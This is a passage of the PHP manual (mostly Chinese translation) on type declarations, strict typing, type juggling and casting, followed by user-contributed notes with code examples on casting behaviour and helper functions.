  • 解析出来的类型只能出现一次。例如这样的类型 int|string|INT 或 Countable&Traversable&COUNTABLE 会导致错误。
  • 使用 mixed 会导致错误。
  • 对于联合类型：
    • 使用了 bool 时就不能再附带使用 false 或者 true。
    • 使用了 object 时就不能再附带使用 class 类型。
    • 使用了 iterable 时，不能再附带使用 array 和 Traversable。
  • 对于交集类型：
    • 使用 class-type 以外的类型会导致错误。
    • 使用 self、parent 或 static 都会导致错误。
  • DNF 类型：
    • If a more generic type is used, the more restrictive one is redundant.
    • 使用两个相同的交集类型。

Note: 不过它不能确保类型最小化，因为要达到这样的效果，还要加载使用类型的 class。

例如，假设 A 和 B 都是一个类的别名， 而 A|B 仍然是有效的，哪怕它可以被简化为 A 或 B。 同样的，如果 B extends A {}，那 A|B 仍然是有效的联合类型，尽管它可以被简化为 A。

<?php
function foo(): int|INT {} // 不允许
function foo(): bool|false {} // 不允许
function foo(): int&Traversable {} // 不允许
function foo(): self&Traversable {} // 不允许

use A as B;
function foo(): A|B {} // 不允许 ("use" 是名称解析的一部分)
function foo(): A&B {} // 不允许 ("use" 是名称解析的一部分)

class_alias('X', 'Y');
function foo(): X|Y {} // 允许 (运行时才能知道重复性)
function foo(): X&Y {} // 允许 (运行时才能知道重复性)
?>

示例

Example #3 基础类类型声明

<?php
class C {}
class D extends C {}

// 没有继承 C。
class E {}

function f(C $c) {
echo get_class($c)."\n";
}

f(new C);
f(new D);
f(new E);
?>

以上示例在 PHP 8 中的输出：

C
D

Fatal error: Uncaught TypeError: f(): Argument #1 ($c) must be of type C, E given, called in /in/gLonb on line 14 and defined in /in/gLonb:8
Stack trace:
#0 -(14): f(Object(E))
#1 {main}
  thrown in - on line 8

Example #4 基础接口类型声明

<?php
interface I { public function f(); }
class C implements I { public function f() {} }

// 没有实现（implement）I。
class E {}

function f(I $i) {
echo get_class($i)."\n";
}

f(new C);
f(new E);
?>

以上示例在 PHP 8 中的输出：

C

Fatal error: Uncaught TypeError: f(): Argument #1 ($i) must be of type I, E given, called in - on line 13 and defined in -:8
Stack trace:
#0 -(13): f(Object(E))
#1 {main}
  thrown in - on line 8

Example #5 基础返回类型声明

<?php
function sum($a, $b): float {
return $a + $b;
}

// Note that a float will be returned.
var_dump(sum(1, 2));
?>

以上示例会输出：

float(3)

Example #6 返回对象

<?php
class C {}

function getC(): C {
return new C;
}

var_dump(getC());
?>

以上示例会输出：

object(C)#1 (0) {
}

Example #7 可为 null 参数类型声明

<?php
class C {}

function f(?C $c) {
var_dump($c);
}

f(new C);
f(null);
?>

以上示例会输出：

object(C)#1 (0) {
}
NULL

Example #8 可为 null 返回类型声明

<?php
function get_item(): ?string {
if (isset($_GET['item'])) {
return $_GET['item'];
} else {
return null;
}
}
?>

Example #9 类属性类型化声明

<?php
class User {
public static string $foo = 'foo';

public int $id;
public string $username;

public function __construct(int $id, string $username) {
$this->id = $id;
$this->username = $username;
}
}
?>

严格类型

默认如果可能，PHP 会强制转化不合适的类型为想要的标量类型。 比如，参数想要 string，传入的是 int， 则会获取 string 类型的变量。

可以按文件开启严格模式。 在严格模式下，只能接受完全匹配的类型，否则会抛出 TypeError。 唯一的例外是 int 值也可以传入声明为 float 的类型。

Warning

通过内部函数调用函数时，不会受 strict_types 声明影响。

要开启严格模式，使用 declare 开启 strict_types：

Note:

文件开启严格类型后的内部调用函数将应用严格类型， 而不是在声明函数的文件内开启。 如果文件没有声明开启严格类型，而被调用的函数所在文件有严格类型声明， 那将遵循调用者的设置（开启类型强制转化）， 值也会强制转化。

Note:

只有为标量类型的声明开启严格类型。

Example #10 参数值的严格类型

<?php
declare(strict_types=1);

function sum(int $a, int $b) {
return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1.5, 2.5));
?>

以上示例在 PHP 8 中的输出：

int(3)

Fatal error: Uncaught TypeError: sum(): Argument #1 ($a) must be of type int, float given, called in - on line 9 and defined in -:4
Stack trace:
#0 -(9): sum(1.5, 2.5)
#1 {main}
  thrown in - on line 4

Example #11 参数值的类型强制转化

<?php
function sum(int $a, int $b) {
return $a + $b;
}

var_dump(sum(1, 2));

// 以下会强制转化为整型，注意以下内容输出！
var_dump(sum(1.5, 2.5));
?>

以上示例会输出：

int(3)
int(3)

Example #12 返回值的严格类型

<?php
declare(strict_types=1);

function sum($a, $b): int {
return $a + $b;
}

var_dump(sum(1, 2));
var_dump(sum(1, 2.5));
?>

以上示例会输出：

int(3)

Fatal error: Uncaught TypeError: sum(): Return value must be of type int, float returned in -:5
Stack trace:
#0 -(9): sum(1, 2.5)
#1 {main}
  thrown in - on line 5

User Contributed Notes

manoj904378 at gmail dot com 15-Nov-2021 06:59
PHP Version 7.4
---
true=1;
false=2;

<?php
  function a(bool $a,bool $b){
    return $a+$b;
  }

  var_dump(a(false,3.9));
?>
Output
------
int(1)
Hayley Watson 14-Oct-2021 12:18
Not explicit is that function parameters can also have union type declarations; they're not just for property and return value declarations.

<?php

declare(strict_types = 1);

function foo(int|string $arg)
{
    if(is_string($arg))
    {
        echo "It's a string!\n";
    }
    elseif(is_int($arg))
    {
        echo "It's an integer!\n";
    }
    else
    {
        echo "It shouldn't be here!\n";
    }
}

foo(42);
foo('bar');
foo([]);
crash 29-Sep-2021 01:02
The documentation lacks the information, that it's possible to change the return type of a method defined in an interface when the interface's methods return type is defined as `mixed`.

From the RFC:

"The mixed return type could be narrowed in a subclass as this is covariant and is allowed in LSP." (https://wiki.php.net/rfc/mixed_type_v2)

This means the following code is valid in PHP 8.0:

<?php

interface ITest
{
    public function apfel(): mixed; // valid as of 8.0
}

class Test implements ITest
{
    public function apfel(): array // more explicit
    {
        return [];
    }
}

var_dump((new Test())->apfel());
?>

You can see the result here: https://3v4l.org/PXDB6
toinenkayt (ta at ta) [iwonderr] gmail d 24-Jun-2021 11:10
While waiting for native support for typed arrays, here are a couple of alternative ways to ensure strong typing of arrays by abusing variadic functions. The performance of these methods is a mystery to the writer and so the responsibility of benchmarking them falls unto the reader.

PHP 5.6 added the splat operator (...) which is used to unpack arrays to be used as function arguments. PHP 7.0 added scalar type hints. Latter versions of PHP have further improved the type system. With these additions and improvements, it is possible to have a decent support for typed arrays.

<?php
declare (strict_types=1);

function typeArrayNullInt(?int ...$arg): void {
}

function doSomething(array $ints): void {
    (function (?int ...$arg) {})(...$ints);
    // Alternatively,
    (fn (?int ...$arg) => $arg)(...$ints);
    // Or to avoid cluttering memory with too many closures
    typeArrayNullInt(...$ints);

    /* ... */
}

function doSomethingElse(?int ...$ints): void {
    /* ... */
}

$ints = [1,2,3,4,null];
doSomething ($ints);
doSomethingElse (...$ints);
?>

Both methods work with all type declarations. The key idea here is to have the functions throw a runtime error if they encounter a typing violation. The typing method used in doSomethingElse is cleaner of the two but it disallows having any other parameters after the variadic parameter. It also requires the call site to be aware of this typing implementation and unpack the array. The method used in doSomething is messier but it does not require the call site to be aware of the typing method as the unpacking is performed within the function. It is also less ambiguous as the doSomethingElse would also accept n individual parameters where as doSomething only accepts an array. doSomething's method is also easier to strip away if native typed array support is ever added to PHP. Both of these methods only work for input parameters. An array return value type check would need to take place at the call site.

If strict_types is not enabled, it may be desirable to return the coerced scalar values from the type check function (e.g. floats and strings become integers) to ensure proper typing.
anisgazig at example dot com 26-Apr-2021 06:20
same data type and same value but first function declare as a argument type declaration and return int(7)
and second fucntion declare as a return type declaration but return int(8).

function argument_type_declaration(int $a, int $b){
    return $a+$b;
}

var_dump(argument_type_declaration(3.5,4.7));
//output:int(7)

function return_type_declaration($a,$b) :int{
    return $a+$b;
}

var_dump(return_type_declaration(3.5,4.7));

//output:int(8)


类型转换

PHP 在变量声明时不需要定义类型。在这种情况下，变量的类型由存储的值决定。也就是说，如果 string 赋值给 $var，然后 $var 的类型就是 string。之后将 int 值赋值给 $var，它将是 int 类型。

PHP 可能会尝试在某些上下文中自动将值转换为另一种类型。不同的上下文有：

  • Numeric
  • String
  • Logical
  • Integral and string
  • Comparative
  • Function

Note: 当值需要解释为不同类型时，值本身不会改变类型。

强制将变量当做某种变量来求值，参见类型转换一节。要更改变量的类型，请参阅 settype() 函数。

Numeric contexts

This is the context when using an arithmetical operator.

在这种情况下，如果任一运算对象是 float（或者不能解释为 int），则两个运算对象都将解释为 float，结果也将是 float。否则，运算对象将解释为 int，结果也将是 int。自 PHP 8.0.0 起，如果无法解释其中一个运算对象，则会抛出 TypeError。

String contexts

This is the context when using echo, print, string interpolation, or the string concatenation operator.

这种情况下，值将会解释为 string。如果值无法解释，那么会抛出 TypeError。在 PHP 7.4.0 之前，会引发 E_RECOVERABLE_ERROR。

Logical contexts

This is the context when using conditional statements, the ternary operator, or a logical operator.

在这种情况下，值将会解释为 bool。

Integral and string contexts

This is the context when using bitwise operators.

在这种情况下，如果所有的运算对象都是 string，则结果也将是 string。否则运算对象将解释为 int，结果也将是 int。如果其中一个运算对象无法解释，则会抛出 TypeError。

Comparative contexts

This is the context when using a comparison operator.

在此上下文中发生的类型转换在比较多种类型表中进行了说明。

Function contexts

This is the context when a value is passed to a typed parameter, property, or returned from a function which declares a return type.

在此上下文中，值必须是类型值。但存在两个例外，第一个是如果值为 int，但声明的类型是 float，然后整数会转换为浮点数。第二个是如果声明的类型是 scalar 类型，值可转换为标量类型，并且强制类型模式处于活动状态（默认），值会转换为可接受的标量值。参见下文查看有关此行为的描述。

Warning

内部函数自动将 null 转换为标量类型，此行为自 PHP 8.1.0 起弃用。

使用简单类型声明的强制类型

  • bool 类型声明：值将解释为 bool。
  • int 类型声明：如果明确定义转换，则值将解释为 int。例如，字符串是数字。
  • float 类型声明：如果明确定义转换，则值将解释为 float。例如，字符串是数字。
  • string 类型声明：值将解释为 string。

使用联合类型的强制类型

When strict_types is not enabled, scalar type declarations are subject to limited implicit type coercions. 如果值的精确类型不是联合的一部分，然后会按照以下优先顺序选择目标类型：

  1. int
  2. float
  3. string
  4. bool
If the type exists in the union and the value can be coerced to the type under PHP's existing type-checking semantics, then the type is chosen. Otherwise, the next type is tried.

Caution

一个例外，如果值是字符串，并且 int 和 float 都是联合类型的一部分，首选类型则通过现有的数字字符串语义决定。例如 "42" 选择 int，"42.0" 选择 float。

Note:

Types that are not part of the above preference list are not eligible targets for implicit coercion. In particular no implicit coercions to the null, false, and true types occur.

Example #1 Example of types being coerced into a type part of the union

<?php
// int|string
42 --> 42 // exact type
"42" --> "42" // exact type
new ObjectWithToString --> "Result of __toString()"
// object never compatible with int, fall back to string
42.0 --> 42 // float compatible with int
42.1 --> 42 // float compatible with int
1e100 --> "1.0E+100" // float too large for int type, fall back to string
INF --> "INF" // float too large for int type, fall back to string
true --> 1 // bool compatible with int
[] --> TypeError // array not compatible with int or string

// int|float|bool
"45" --> 45 // int numeric string
"45.0" --> 45.0 // float numeric string

"45X" --> true // not numeric string, fall back to bool
"" --> false // not numeric string, fall back to bool
"X" --> true // not numeric string, fall back to bool
[] --> TypeError // array not compatible with int, float or bool
?>

类型转换

类型转换通过在值前面的括号中写入类型来将值转换指定的类型。

<?php
$foo = 10; // $foo 是 int
$bar = (bool) $foo; // $bar 是 bool
?>

允许的转换是：

  • (int) ——转换为 int
  • (bool) ——转换为 bool
  • (float) ——转换为 float
  • (string) ——转换为 string
  • (array) ——转换为 array
  • (object) ——转换为 object
  • (unset) ——转换为 NULL

Note:

(integer) 是 (int) 转换的别名。(boolean) 是 (bool) 转换的别名。(binary) 是 (string) 转换的别名。(double) 和 (real) 是 (float) 转换的别名。这些转换不使用标准的类型名称，不推荐使用。

Warning

自 PHP 8.0.0 起弃用 (real) 转换别名。

Warning

自 PHP 7.2.0 起弃用 (unset) 转换。注意 (unset) 转换等同于将值 NULL 通过赋值或者调用给变量。自 PHP 8.0.0 起移除 unset 转换。

Caution

向前兼容 (binary) 转换和 b 前缀转换。注意 (binary) 转换和 (string) 相同，但是这可能会改变且不应依赖。

Note:

类型转换的括号中的空格将被忽略。 因此，以下两个转换是等价的：

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

将文字 string 和变量转换为二进制 string：

<?php
$binary = (binary) $string;
$binary = b"binary string";
?>

Note: 除了将变量转换为 string 之外，还可以将变量放在双引号内。

<?php
$foo = 10; // $foo 是 int
$str = "$foo"; // $str 是 string
$fst = (string) $foo; // $fst 也是 string

// 打印出 "they are the same"
if ($fst === $str) {
echo "they are the same";
}
?>

有时在类型之间转换时确切地会发生什么可能不是很明显。更多信息见如下不分：

  • 转换为 bool
  • 转换为 int
  • 转换为 float
  • 转换为 string
  • 转换为 array
  • 转换为 object
  • 转换为 resource
  • 转换为 NULL
  • 类型比较表

Note: 因为 PHP 的 string 支持使用与 array 索引相同的语法，通过偏移量进行索引，所以以下示例适用于所有 PHP 版本：

<?php
$a = 'car'; // $a 是 string
$a[0] = 'b'; // $a 依然是 string
echo $a; // bar
?>
请查看章节标题为存取和修改字符串中的字符获取更多信息。

User Contributed Notes

Anonymous 05-Feb-2021 01:07
Cast operators have a very high precedence, for example (int)$a/$b is evaluated as ((int)$a)/$b, not as (int)($a/$b) [which would be like intdiv($a,$b) if both $a and $b are integers].
The only exceptions (as of PHP 8.0) are the exponentiation operator ** [i.e. (int)$a**$b is evaluated as (int)($a**$b) rather than ((int)$a)**$b] and the special access/invocation operators ->, ::, [] and () [i.e. in each of (int)$a->$b, (int)$a::$b, (int)$a[$b] and (int)$a($b), the cast is performed last on the result of the variable expression].
Dhairya Lakhera 25-Jul-2019 10:02
Value of uninitialized variable of different data types.

settype($a,'bool');
var_dump($a);         //boolean false

settype($b,'string');
var_dump($b);        //string '' (length=0)

settype($c,'array');
var_dump($c);        //array (size=0)  empty

settype($d,'int');
var_dump($d);       //int 0

settype($e,'float');
var_dump($e);      //float 0

settype($f,'object');
var_dump($f);     //object(stdClass)[1]
Anonymous 11-Mar-2019 05:16
"An example of PHP's automatic type conversion is the multiplication operator '*'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is."

I understand what the doc is trying to say here, but this sentence is not correct as stated, other types can be coerced into floats.

e.g.

<?php
$a = "1.5"; // $a is a string
$b = 100; // $b is an int
$c = $a * $b; // $c is a float, value is 150
// multiplication resulted in a float despite fact that neither operand was a float
berniev 15-Sep-2015 11:23
May be expected, but not stated ..
Casting to the existing (same) type has no effect.
$t = 'abc';          // string 'abc'
$u=(array) $t;   // array 0 => string 'abc'  <-- now an array
$v=(array) $u;  // array 0 => string 'abc'  <-- unchanged
davaakhuu at outlook dot com 03-Jun-2015 07:29
Type Juggling<br/>
   <?php $count = "2 cats"; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $count += 3; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $cats = "I have " . $count . "cats."; ?>
   Cats: <?php echo gettype($cats); ?><br/>
   <br/>
   Type Casting<br/>
   <?php settype($count, "integer"); ?>
   count: <?php echo gettype($count); ?><br/>

   <?php $count2 = (string)$count; ?>
   count: <?php echo gettype($count); ?><br/>
   count2: <?php echo gettype($count2); ?><br/>

   <?php $test1 = 3; ?>
   <?php $test2 = 3; ?>
   <?php settype($test1, "string"); ?>
   <?php (string)$test2; ?>
   test1: <?php echo gettype($test1); ?><br/>
   test2: <?php echo gettype($test2); ?><br/>
mbrowne83 (at GM) 27-Dec-2014 01:15
The code listed in some of the comments here for supposedly "casting" from one class to another using unserialize/serialize does not actually change the class of the existing object; it creates a new object. So it's not the same as a cast.
Eric Lavoie 02-Oct-2014 09:24
(array) null
array(null)

are not the same.

var_dump((array) null) =>
array (size=0)
  empty

var_dump(array (null)) =>
array (size=1)
  0 => null
kuzawinski dot marcin at NOSPAM dot gmail dot com 14-Jul-2014 09:40
You REALLY must be aware what you are doing, when you cast a lot  in your code. For example, you can accidentaly change FALSE to TRUE  (probably not in one line, like here):

if(TRUE === (boolean) (array) (int) FALSE) {
    kaboom();
}
fardelian 13-Apr-2013 03:23
Casting objects to arrays is a pain. Example:

<?php

class MyClass {

    private $priv = 'priv_value';
    protected $prot = 'prot_value';
    public $pub = 'pub_value';
    public $MyClasspriv = 'second_pub_value';

}

$test = new MyClass();
echo '<pre>';
print_r((array) $test);

/*
Array
(
    [MyClasspriv] => priv_value
    [*prot] => prot_value
    [pub] => pub_value
    [MyClasspriv] => second_pub_value
)
 */

?>

Yes, that looks like an array with two keys with the same name and it looks like the protected field was prepended with an asterisk. But that's not true:

<?php

foreach ((array) $test as $key => $value) {
    $len = strlen($key);
    echo "{$key} ({$len}) => {$value}<br />";
    for ($i = 0; $i < $len; ++$i) {
        echo ord($key[$i]) . ' ';
    }
    echo '<hr />';
}

/*
MyClasspriv (13) => priv_value
0 77 121 67 108 97 115 115 0 112 114 105 118
*prot (7) => prot_value
0 42 0 112 114 111 116
pub (3) => pub_value
112 117 98
MyClasspriv (11) => second_pub_value
77 121 67 108 97 115 115 112 114 105 118
 */

?>

The char codes show that the protected keys are prepended with '\0*\0' and private keys are prepended with '\0'.__CLASS__.'\0' so be careful when playing around with this.
ieee at REMOVE dot bk dot ru 17-Jun-2012 04:26
There are some shorter and faster (at least on my machine) ways to perform a type cast.
<?php
$string='12345.678';
$float=+$string;
$integer=0|$string;
$boolean=!!$string;
?>
Anonymous 07-Feb-2012 06:31
namaroulis stated "I found it tricky to check if a posted value was an integer"; to test if a variable is a number or a numeric string (such as form input, which is always a string), you must use is_numeric():

<?php
$_POST['a'] = "42";

is_numeric( $_POST['a'] ); // true
?>
hemi68 at hotmail dot com 06-Sep-2011 08:01
Cast a string to binary using PHP < 5.2.1

 $binary = unpack('c*', $string);
jphansen at uga dot edu 21-Apr-2011 10:53
Type casting from string to int and vice versa is probably the most common conversation. PHP does this very simply through the +. and .= operators, removing any explicit casting:

<?php
$x = 1;
var_dump($x); // int(1)
$x .= 1;
var_dump($x); // string(2) "11"; also an empty string ("") would cast to string without changing $x

$x = "1";
var_dump($x);  // string(1) "1"
$x += 1;
var_dump($x); // int(2); also a zero value (0) would cast to int without changing $x
?>
Anonymous 11-Mar-2011 11:01
Checking for strings to be integers?
How about if a string is a float?

<?php

/* checks if a string is an integer with possible whitespace before and/or after, and also isolates the integer */
$isInt=preg_match('/^\s*([0-9]+)\s*$/', $myString, $myInt);

echo 'Is Integer? ',  ($isInt) ? 'Yes: '.$myInt[1] : 'No', "\n";

/* checks if a string is an integer with no whitespace before or after  */
$isInt=preg_match('/^[0-9]+$/', $myString);

echo 'Is Integer? ',  ($isInt) ? 'Yes' : 'No', "\n";

/* When checking for floats, we assume the possibility of no decimals needed.  If you MUST require decimals (forcing the user to type 7.0 for example) replace the sequence:
[0-9]+(\.[0-9]+)?
with
[0-9]+\.[0-9]+
*/

/* checks if a string is a float with possible whitespace before and/or after, and also isolates the number */
$isFloat=preg_match('/^\s*([0-9]+(\.[0-9]+)?)\s*$/', $myString, $myNum);

echo 'Is Number? ',  ($isFloat) ? 'Yes: '.$myNum[1] : 'No', "\n";

/* checks if a string is a float with no whitespace before or after */
$isInt=preg_match('/^[0-9]+(\.[0-9]+)?$/', $myString);

echo 'Is Number? ',  ($isFloat) ? 'Yes' : 'No', "\n";

?>
namaroulis at gmail dot com 02-Mar-2011 01:47
I found it tricky to check if a posted value was an integer.

<?php

$_POST['a'] = "42";

is_int( $_POST['a'] ); //false
is_int( intval( "anything" ) ); //always true
?>

A method I use for checking if a string represents an integer value.

<?php
function check_int( $str )
                {
                    return  is_numeric( $str ) && intval( $str ) - $str == 0;
                }
?>
rmirabelle 17-Oct-2010 10:18
The object casting methods presented here do not take into account the class hierarchy of the class you're trying to cast your object into.

/**
     * Convert an object to a specific class.
     * @param object $object
     * @param string $class_name The class to cast the object to
     * @return object
     */
    public static function cast($object, $class_name) {
        if($object === false) return false;
        if(class_exists($class_name)) {
            $ser_object     = serialize($object);
            $obj_name_len     = strlen(get_class($object));
            $start             = $obj_name_len + strlen($obj_name_len) + 6;
            $new_object      = 'O:' . strlen($class_name) . ':"' . $class_name . '":';
            $new_object     .= substr($ser_object, $start);
            $new_object     = unserialize($new_object);
            /**
             * The new object is of the correct type but
             * is not fully initialized throughout its graph.
             * To get the full object graph (including parent
             * class data, we need to create a new instance of
             * the specified class and then assign the new
             * properties to it.
             */
            $graph = new $class_name;
            foreach($new_object as $prop => $val) {
                $graph->$prop = $val;
            }
            return $graph;
        } else {
            throw new CoreException(false, "could not find class $class_name for casting in DB::cast");
            return false;
        }
    }
martinscotta at gmail dot com 21-Sep-2010 08:44
in response to bhsmither at gmail.com

It raises a warning because of the bad enquoted variable

<?php

error_reporting( E_ALL | E_STRICT );

$foo['ten'] = 10;        // $foo['ten'] is an array holding an integer at key "ten"
$str = "{$foo['ten']}";  // works "10"
$str = "$foo[ten]";      // DO NOT work!
bhsmither at gmail.com 19-Mar-2010 03:41
<?php
$foo['ten'] = 10;            // $foo['ten'] is an array holding an integer at key "ten"
$str = "$foo['ten']";        // throws T_ENCAPSED_AND_WHITESPACE error
$str = "$foo[ten]";          // works because constants are skipped in quotes
$fst = (string) $foo['ten']; // works with clear intention
?>
edgar dot klerks at gmail dot com 17-Mar-2009 08:04
It seems (unset) is pretty useless. But for people who like to make their code really compact (and probably unreadable). You can use it to use an variable and unset it on the same line:

Without cast:

<?php

$hello = 'Hello world';
print $hello;
unset($hello);

?>

With the unset cast:

<?php

$hello = 'Hello world';
$hello = (unset) print $hello;

?>

Hoorah, we lost another line!
kajsunansis at that gmail 03-Dec-2008 11:18
json_decode users consider this, when casting stdClass to array:
<?php
$obj = new stdClass();
$obj->{"2"} = "id";
$arr = (array) $obj;
$result = isset($arr["2"]) || array_key_exists(2, $arr); // false
?>
..though casting is at least 2x faster than foreach.
Jeffrey 09-Nov-2008 11:34
IMAGINATION REQUIRED...

We can be a witness to PHP's 'type-jugglin' in real-time with a simple implementation of a MemoryMap. For the sake our purposes, pretend that this is an empty MemoryMap.
+-------+------+------+-------+
| index | $var | type | value |
+-------+------+------+-------+
|     1 |  --- | NULL |  null |
|     2 |  --- | NULL |  null |
|     3 |  --- | NULL |  null |
|     4 |  --- | NULL |  null |
+-------+------+------+-------+

<?php
# create some variables...
$a = 10;
$b = "Hello";
$c = array(55.45, 98.65);
# Now look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a | INTEGER |     10 |
|     2 |    $b |  STRING |  Hello |
|     3 | $c[0] |   FLOAT |  55.45 |
|     4 | $c[1] |   FLOAT |  98.65 |
+-------+-------+---------+--------+
<?php
# Now, change the variable types...
$a = "Bye";
$b = 2;
$c[0] = "Buy";
$c[1] = "Now!";
#Look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a |  STRING |    Bye | <- used to be INTEGER
|     2 |    $b | INTEGER |      2 | <- used to be STRING
|     3 | $c[0] |  STRING |    Buy | <- used to be FLOAT
|     4 | $c[1] |  STRING |  Right | <- used to be FLOAT
+-------+-------+---------+--------+
hek at theeks dot net 17-Oct-2008 09:24
It would be useful to know the precedence (for lack of a better word) for type juggling.  This entry currently explains that "if either operand is a float, then both operands are evaluated as floats, and the result will be a float" but could (and I think should) provide a hierarchy that indicates, for instance, "between an int and a boolean, int wins; between a float and an int, float wins; between a string and a float, string wins" and so on (and don't count on my example accurately capturing the true hierarchy, as I haven't actually done the tests to figure it out).  Thanks!
wbcarts at juno dot com 07-Oct-2008 06:05
WHERE'S THE BEEF?

Looks like type-casting user-defined objects is a real pain, and ya gotta be nuttin' less than a brain jus ta cypher-it. But since PHP supports OOP, you can add the capabilities right now. Start with any simple class.
<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
  public function getX() { return $this->x; }
  public function getY() { return $this->y; }
}

$p = new Point(25, 35);
echo $p->getX();      // 25
echo $p->getY();      // 35
?>
Ok, now we need extra powers. PHP gives us several options:
  A. We can tag on extra properties on-the-fly using everyday PHP syntax...
    $p->z = 45; // here, $p is still an object of type [Point] but gains no capability, and it's on a per-instance basis, blah.
  B. We can try type-casting it to a different type to access more functions...
    $p = (SuperDuperPoint) $p; // if this is even allowed, I doubt it. But even if PHP lets this slide, the small amount of data Point holds would probably not be enough for the extra functions to work anyway. And we still need the class def + all extra data. We should have just instantiated a [SuperDuperPoint] object to begin with... and just like above, this only works on a per-instance basis.
  C. Do it the right way using OOP - and just extend the Point class already.
<?php
class Point3D extends Point {
  protected $z;                                // add extra properties...

  public function __construct($xVal = 0, $yVal = 0, $zVal = 0) {
    parent::__construct($xVal, $yVal);
    $this->z = $zVal;
  }
  public function getZ() { return $this->z; }  // add extra functions...
}

$p3d = new Point3D(25, 35, 45);  // more data, more functions, more everything...
echo $p3d->getX();               // 25
echo $p3d->getY();               // 35
echo $p3d->getZ();               // 45
?>
Once the new class definition is written, you can make as many Point3D objects as you want. Each of them will have more data and functions already built-in. This is much better than trying to beef-up any "single lesser object" on-the-fly, and it's way easier to do.
lucazd at gmail dot com 23-Sep-2008 09:20
@alexgr (20-Jun-2008)

Correct me if I'm wrong, but that is not a cast, it might be useful sometimes, but the IDE will not reflect what's really happening:

<?php
class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
    /** Does nothing */
    function f() {}
}

class X extends MyObject {
    /** Throws exception */
    function f() { throw new exception(); }
}

$x = MyObject::cast(new X);
$x->f(); // Your IDE tells 'f() Does nothing'
?>

However, when you run the script, you will get an exception.
nullhilty at gmail dot com 09-Sep-2008 11:34
Just a little experiment on the (unset) type cast:

<?php
$var = 1;
$var_unset = (unset) $var;
$var_ref_unset &= (unset) $var;
var_dump($var);
var_dump($var_unset);
var_dump($var_ref_unset);
?>

output:
int(1)
NULL
int(0)
alexgr at gmail dot com 20-Jun-2008 03:43
For a Cast to a User Defined Object you can define a cast method:

class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
}

In your php page code you can:
$myObject = MyObject::cast($_SESSION["myObject"]);

Then, PHP will validate the value and your IDE will help you.
miracle at 1oo-percent dot de 20-Feb-2006 05:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
22-Jun-2005 05:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
toma at smartsemantics dot com 09-Mar-2005 06:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
    if(class_exists($class_type,true)){
        $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
          "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
    }
}
Raja 10-Feb-2005 03:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
tom5025_ at hotmail dot com 24-Aug-2004 01:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com 10-Mar-2004 07:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
    if(class_exists($new_classname)) {
        $old_serialized_object = serialize($old_object);
        $old_object_name_length = strlen(get_class($old_object));
        $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
        $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
        $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
        return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com 27-Feb-2004 07:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    // Example serialized object segment
    // O:5:"field":9:{s:5:...   <--- Class: Field
    $old_serialized_prefix  = "O:".strlen(get_class($old_object));
    $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
    $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de 03-May-2003 09:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

